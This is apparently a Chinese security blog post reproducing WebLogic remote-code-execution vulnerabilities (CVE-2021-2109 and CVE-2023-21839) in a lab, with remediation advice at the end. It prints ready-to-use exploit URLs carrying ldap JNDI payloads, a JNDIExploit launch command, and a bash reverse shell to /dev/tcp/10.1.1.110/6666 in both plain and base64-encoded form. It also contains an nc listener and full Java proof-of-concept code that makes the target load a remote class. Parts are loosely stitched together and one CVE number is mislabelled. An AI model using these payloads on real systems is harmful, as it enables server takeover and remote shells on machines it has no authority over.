开发知识点-Weblogic

开发知识点-Weblogic_第1张图片

Weblogic

  • 介绍
  • CVE_2018_2628
  • poc-yaml-weblogic-ssrf
  • poc-yaml-weblogic-cve-2017-10271
  • poc-yaml-weblogic-cve-2019-2725
  • poc-yaml-weblogic-cve-2019-2729-1
  • poc-yaml-weblogic-cve-2019-2729-2
  • poc-yaml-weblogic-cve-2020-14750
  • poc-yaml-weblogic-local-cve-2022-21371-file-inclusion
  • CVE_2020_2551 IIOP 反序列化
  • CVE-2021-2109 WebLogic LDAP 远程代码执行漏洞
  • CVE-2023-21839 Weblogic T3 预身份验证远程命令执行
    • 分析
    • 解决建议
    • 参考材料

介绍

WebLogic是美国Oracle公司出品的一个application server,
确切的说是一个基于JAVAEE架构的中间件,
用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

CVE_2018_2628


-   [1](https://github.com/topics/cve-2023-21839) cve-2023-21839 · GitHub Topics · GitHub,这里有 3 个公开的仓库与这个主题相关,其中一个是 4ra1n / CVE-2023-21839,用 python 写了一个一键检测 weblogic CVE-2023-21839 / CVE-2023-21931 / CVE-2023-21979 的脚本。
-   [2](https://github.com/houqe/POC_CVE-2023-21839) GitHub - houqe/POC_CVE-2023-21839,这是一个根据 4ra1n 大佬的 GO 版本翻译成 python 的 POC,可以用来攻击或测试目标,但需要授权许可。
-   [3](https://github.com/fakenews2025/CVE-2023-21839) GitHub - fakenews2025/CVE-2023-21839: CVE-2023-21839 exp,这是一个利用 T3, IIOP 协议的 Weblogic RCE 漏洞的 POC,支持 12.2.1.3.0, 12.2.1.4.0 和 14.1.1.0.0 版本。

poc-yaml-weblogic-ssrf

poc-yaml-weblogic-cve-2017-10271

poc-yaml-weblogic-cve-2019-2725

poc-yaml-weblogic-cve-2019-2729-1

poc-yaml-weblogic-cve-2019-2729-2

poc-yaml-weblogic-cve-2020-14750

poc-yaml-weblogic-local-cve-2022-21371-file-inclusion

CVE_2020_2551 IIOP 反序列化

CVE-2021-2109 WebLogic LDAP 远程代码执行漏洞

Oracle WebLogic Server的反序列化RCE漏洞(CVE-2023-2109),

该漏洞影响Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4和14.1.1.0版本,

攻击者可以通过发送带有恶意对象的HTTP请求,利用WebLogic Server的T3协议进行反序列化,执行任意代码。


LDAP Lightweight Directory Access Protocol轻量目录访问协议,基于X.500协议,相对简单且支持定制。
于X.500不同的是LDAP支持TCP/IP。


本文主要复现编号为CVE-2021-2109的Weblogic JNDI注入远程命令执行漏洞,该漏洞风险为“高”。

影响版本:Weblogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 


/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

信息安全从业人员

计算机基础、计算机网络、Linux




预备知识
JNDI简介

JNDI是Java Naming and Directory Interface
(Java命名和目录接口)的英文简写,
是为Java应用程序提供命名和目录访问服务的API
(application programing interface,应用程序编程接口)。

Weblogic_ssrf 反序列化远程命令执行漏洞 未授权访问漏洞 LDAP




漏洞编号:CVE-2021-2109

漏洞名称:WebLogic LDAP远程代码执行漏洞

漏洞描述:
2020年11月19日,
阿里云安全向Oracle官方报告了Weblogic Server远程代码执行漏洞。
攻击者可通过LDAP协议,实现JNDI注入攻击,
加载远程CodeBase下的恶意类,最后执行任意代码从而控制服务器。

影响版本:WebLogic Server10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

漏洞等级:高危




通过实验掌握WebLogic LDAP远程代码执行漏洞的利用方法,
了解漏洞原理

PoC的构造链。




实验环境
靶机:docker+weblogic12.2.1.3 IP:10.1.1.109
开发知识点-Weblogic_第2张图片

攻击机:kali IP:10.1.1.110




任务描述:启动漏洞环境,判断漏洞是否存在。

靶机WebLogic Server已启动,浏览器访问 http://ip:7001 即可:

开发知识点-Weblogic_第3张图片

注:7001是WebLogic的默认端口。

访问/console/css/%252e%252e%252f/consolejndi.portal:

开发知识点-Weblogic_第4张图片

注:如果没有立即显示,刷新页面即可。

如果有此页面未授权可访问,且WebLogic为受影响的版本,则可能存在漏洞。
开发知识点-Weblogic_第5张图片

任务描述:启动LDAP,远程执行代码。
开发知识点-Weblogic_第6张图片

下载漏洞攻击需要的LDAP启动脚本到服务器上并启动:

java -jar JNDIExploit.jar -i ip(攻击机地址)
开发知识点-Weblogic_第7张图片
开发知识点-Weblogic_第8张图片

配合WebLogic未授权漏洞进行代码执行:

/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

注:LDAP服务器地址的第三个分割符号为;

开发知识点-Weblogic_第9张图片
开发知识点-Weblogic_第10张图片
开发知识点-Weblogic_第11张图片
开发知识点-Weblogic_第12张图片
另起一个终端,运行漏洞利用PoC:
开发知识点-Weblogic_第13张图片

注意参数格式:LDAP >>> ldap://xxx.xxx.xxx;xxx:1389
开发知识点-Weblogic_第14张图片

可以成功远程执行命令。

开发知识点-Weblogic_第15张图片开发知识点-Weblogic_第16张图片开发知识点-Weblogic_第17张图片

任务描述:利用漏洞反弹shell。

访问 http://www.jackson-t.ca/runtime-exec-payloads.html,

将bash反弹命令bash -i >&/dev/tcp/10.1.1.110/6666 0>&1

进行base64编码转换:

得到:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTEwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

在攻击机上运行nc-lvvp 6666命令监听6666端口:

开发知识点-Weblogic_第18张图片

将编码后的命令复制到cmd后面进行重放:

开发知识点-Weblogic_第19张图片

成功反弹回shell。
开发知识点-Weblogic_第20张图片在这里插入图片描述

漏洞修复
1、由于是通过JNDI注入进行远程代码执行,建议升级Weblogic Server运行环境的JDK版本;

2、升级官方安装补丁:https://www.oracle.com/security-alerts/cpujan2021.html

开发知识点-Weblogic_第21张图片

关闭 默认



分析与思考
漏洞分析见:https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw

调试分析参考:https://mp.weixin.qq.com/s/WtoUzPEgLlU8jUzvzC75Dg

参考
1、 https://mp.weixin.qq.com/s/gRgrzgkgeehT1DnnlnqQKw
2、 https://mp.weixin.qq.com/s/P6xTm3Ww4llbbd9CIm9spQ
3、 https://www.freebuf.com/vuls/261872.html
4、 https://www.cnblogs.com/huaflwr/p/14317388.html

CVE-2023-21839 Weblogic T3 预身份验证远程命令执行

CNVD-2023-04389
开发知识点-Weblogic_第22张图片


WebLogic存在远程代码执行漏洞,
该漏洞  允许未经身份验证授权的 远程攻击者
通过`IIOP/T3`协议网络访问并破坏易受攻击的WebLogic服务器,
成功利用此漏洞可能导致Oracle WebLogic服务器被接管或可访问数据的敏感信息泄露。
漏洞原理其实是通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看
当远程对象继承自OpaqueReference时,`JNDI lookup`查看远程对象时,
服务端调用远程对象getReferent方法,其中的remoteJNDIName参数可控,
(weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference
并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现)
导致攻击者可利用rmi/ldap远程协议进行远程命令执行。


当 `JDK` 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致`RCE`漏洞。

利用范围
Oracle WebLogic Server@[12.2.1.3, 14c(14.1.1.0))


WebLogic_Server = 12.2.1.3.0
https://blog.csdn.net/qq_41979593/article/details/123780213
https://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_Disk1_1of1.zip
部署
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2023-21839/README.zh-cn.md
vulhub/weblogic/CVE-2023-21839# docker-compose up -d


http://127.0.0.1:7001/
出现

## Error 404--Not Found

### From RFC 2068 _Hypertext Transfer Protocol -- HTTP/1.1_:

#### 10.4.5 404 Not Found

The server has not found anything matching the Request-URI. No indication is given of whether the condition is temporary or permanent.

If the server does not wish to make this information available to the client, the status code 403 (Forbidden) can be used instead. The 410 (Gone) status code SHOULD be used if the server knows, through some internally configurable mechanism, that an old resource is permanently unavailable and has no forwarding address.


http://127.0.0.1:7001/console/

WebLogic Server 版本: 12.2.1.3.0

http://120.48.83.89:7001/console/login/LoginForm.jsp


https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839


Weblogic10 XMLDecoder


Weblogic 中对 RMI 传输就是使用的 T3 协议


[**CVE-2023-21839 WebLogic Server RCE**](https://www.ddosi.org/cve-2023-21839/)[1](https://bing.com/search?q=2023%E5%B9%B4+RCE+%E6%BC%8F%E6%B4%9E)[2](https://www.ddosi.org/cve-2023-21839/)[3](https://cn-sec.com/archives/1623845.html)[4](https://cn-sec.com/archives/1695556.html)[,这个漏洞影响了Oracle WebLogic Server 12.2.1.3.012.2.1.4.014.1.1.0.0版本,可以通过T3或IIOP协议进行远程代码执行](https://www.ddosi.org/cve-2023-21839/)[1](https://bing.com/search?q=2023%E5%B9%B4+RCE+%E6%BC%8F%E6%B4%9E)[2](https://www.ddosi.org/cve-2023-21839/)[。这个漏洞的利用方法和POC也已经在网络上公开](https://www.freebuf.com/vuls/357138.html)[5](https://www.freebuf.com/vuls/357138.html)[3](https://cn-sec.com/archives/1623845.html)[4](https://cn-sec.com/archives/1695556.html),建议受影响的用户尽快下载并更新官方补丁[1](https://bing.com/search?q=2023%E5%B9%B4+RCE+%E6%BC%8F%E6%B4%9E)

分析

SDK1.8新建POC项目
导入weblogic依赖jar包
weblogic的安装路径下的C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib


docker cp cve-2023-21839_weblogic_1:/u01/oracle/wlserver/modules /aming/weblogic_lib

weblogic10 及以后的版本,不能直接使用server/lib 目录下的 weblogic.jar
需要手动执行一个命令生成手动生成 wlfullclient.jar
使用如下命令,生成wlfullclient.jar包
java -jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar

开发知识点-Weblogic_第23张图片

将生成的jar包,复制到攻击机的任意目录下,
接着在IDEA中导入jar包。file-->project structure-->Modules-->Dependencies-->JARS or ...
JNDIExploit.jar工具,开启LDAP服务和web服务
运行poc代码,让目标加载恶意类进行远程命令执行。





import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;


public class poc {
    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
    private static InitialContext getInitialContext(String url)throws NamingException
    {
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
    //iiop
    public static void main(String args[]) throws Exception {
        InitialContext c=getInitialContext("t3://172.23.a.b:7001");
        Hashtable<String,String> env = new Hashtable<String,String>();

        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f,env);
        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        remoteJNDIName.set(f,"ldap://172.23.c.d:1389/Basic/Command/calc");
        c.bind("aaa120",f);
        c.lookup("aaa120");

    }

}

通过调用getInitialContext方法创建一个InitialContext对象;
使用反射访问和修改ForeignOpaqueReference对象中的私有字段`jndiEnvironment``emoteJNDIName`,
调用InitialContext对象的bind方法
    
将ForeignOpaqueReference对象绑定到JNDI服务,最后调用InitialContext对象的lookup方法,执行查找。

类  weblogic.deployment.jms.ForeignOpaqueReference

Oracle WebLogic Server API Reference  12.2.1.3.0
https://docs.oracle.com/middleware/12213/wls/WLAPI/overview-summary.html  FRAMES



分析ForeignOpaqueReference这个类,其实继承了QpaqueReference接口
而QpaqueReference在官方文档中提示了
当实现此接口的对象从 WLContext 中检索(通过查找或 listBindings)时,由 getReferent() 返回对象。

在POC中远程绑定了ForeignOpaqueReference对象,
实际是因为ForeignOpaqueReference继承QpaqueReference,在远程查询该对象的时候,调用的将会是ForeignOpaqueReference.getReferent方法。


开发知识点-Weblogic_第24张图片

方法  weblogic.deployment.jms.ForeignOpaqueReference.getReferent()

lookup操作之前会检查 JNDI 环境是否已正确配置以访问远程资源,
主要是对jndiEnvironment和remoteJNDIName的检测,
如果在if中的任何一个条件为真,那么将调用对象的lookup方法,
如果 if 语句中的所有条件都为假,则会进入检查cachedReferent字段的阶段。

只要 getReferent 内的 this.jndiEnvironment不为空,就可以对InitialContext进行初始化,this.jndiEnvironment也可以使用反射的方式进行赋值。

开发知识点-Weblogic_第25张图片在这里插入图片描述


通过retVal = context.lookup(evalMacros(this.remoteJNDIName))的实现,便可以利用rmi/ldap远程协议进行命令执行。
进入bind方法,可以看到绑定的对象中
通过反射对remoteJNDIName 和 jndiEnvironment属性赋值。


开发知识点-Weblogic_第26张图片
ClusteravleRemoteRef.invoke
开发知识点-Weblogic_第27张图片

已经远程获取并加载了恶意类
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
在weblogic.jndi.internal.ForeignOpaqueReference这个类下同样可以利用IIOP协议实现JNDI注入。

开发知识点-Weblogic_第28张图片开发知识点-Weblogic_第29张图片

解决建议

 1、安装Oracle WebLogic  Server最新安全补丁:
 https://www.oracle.com/security-alerts/cpujan2023.html
 2、通过控制T3协议/关闭IIOP协议的访问
 来阻断利用T3协议/IIOP协议的漏洞攻击。
 
 关闭T3和iiop协议端口,
 操作方法参考:https://help.aliyun.com/noticelist/articleid/1060577901.html 
 针对T3协议使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议:
 连接筛选器:weblogic.security.net.ConnectionFilterImpl
 0.0.0.0/0 * 7001 deny t3 t3s #拒绝所有访问
 
允许和拒绝指定IP规则示例:
192.168.1.0/24 * 7001 allow t3 t3s #允许指定IP段访问
192.168.2.0/24 * 7001 deny t3 t3s #拒绝指定IP段访问

连接筛选器说明参考(英文):
https://docs.oracle.com/cd/E24329_01/web.1211/e24485/con_filtr.htm#SCPRG377

在Weblogic控制台中,
选择“base_domain”->“监视”进入“AdminServer”-> “协议”->“IIOP”中,取消“启用IIOP”的勾选。并重启Weblogic项目,使配置生效。


 目前Oracle已经修复该漏洞并发布补丁,受影响的用户可参考官方通告及时下载并更新补丁,
下载地址:[https://support.oracle.com/rs?type=doc&id=2917213.2]
(https://link.zhihu.com/?target=https%3A//support.oracle.com/rs%3Ftype%3Ddoc%26id%3D2917213.2)。 


参考材料

1.Oracle Critical Patch Update Advisory - January 2023

2.[https://www.pingsafe.com/blog/cve-2023-21839-oracle-weblogic-server-core-patch-advisory]
(https://link.zhihu.com/?target=https%3A//www.pingsafe.com/blog/cve-2023-21839-oracle-weblogic-server-core-patch-advisory)

3.[https://docs.oracle.com/html/E8]
(https://link.zhihu.com/?target=https%3A//docs.oracle.com/html/E80373_03/weblogic/jndi/OpaqueReference.htmlhttps%3A//docs.oracle.com/en/)

Oracle WebLogic Server 是业界领先的应用服务器,用于使用 Java EE 标准构建企业应用,并以较低的拥有成本将其部署在可靠、可扩展的运行时上。

          

漏洞复现

首先工具准备(GitHub - ASkyeye/CVE-2023-21839: Weblogic CVE-2023-21839 RCE (无需Java依赖一键RCE)3.1:讲一下漏洞产生的原因(CVE-2023-21839 允许远端用户在未经授权的情况下通过 IIOP 进行 JNDI 查找操作,当 JDK 版本过低或本地有小工具(使用 javaSerializedData)时,可能会导致 RCE 漏洞。)

 3.2启动工具

          

解压压缩包unzip CVE-2023-21839-master.zip

cd CVE-2023-21839-master

cd cmd

o build -o CVE-2023-21839

之后会生成一个 CVE-2023-21839程序

          
启动java的工具监听    
之后使用nc进行监听    
在启动工具

开发知识点-Weblogic_第30张图片

开发知识点-Weblogic_第31张图片

你可能感兴趣的:(web)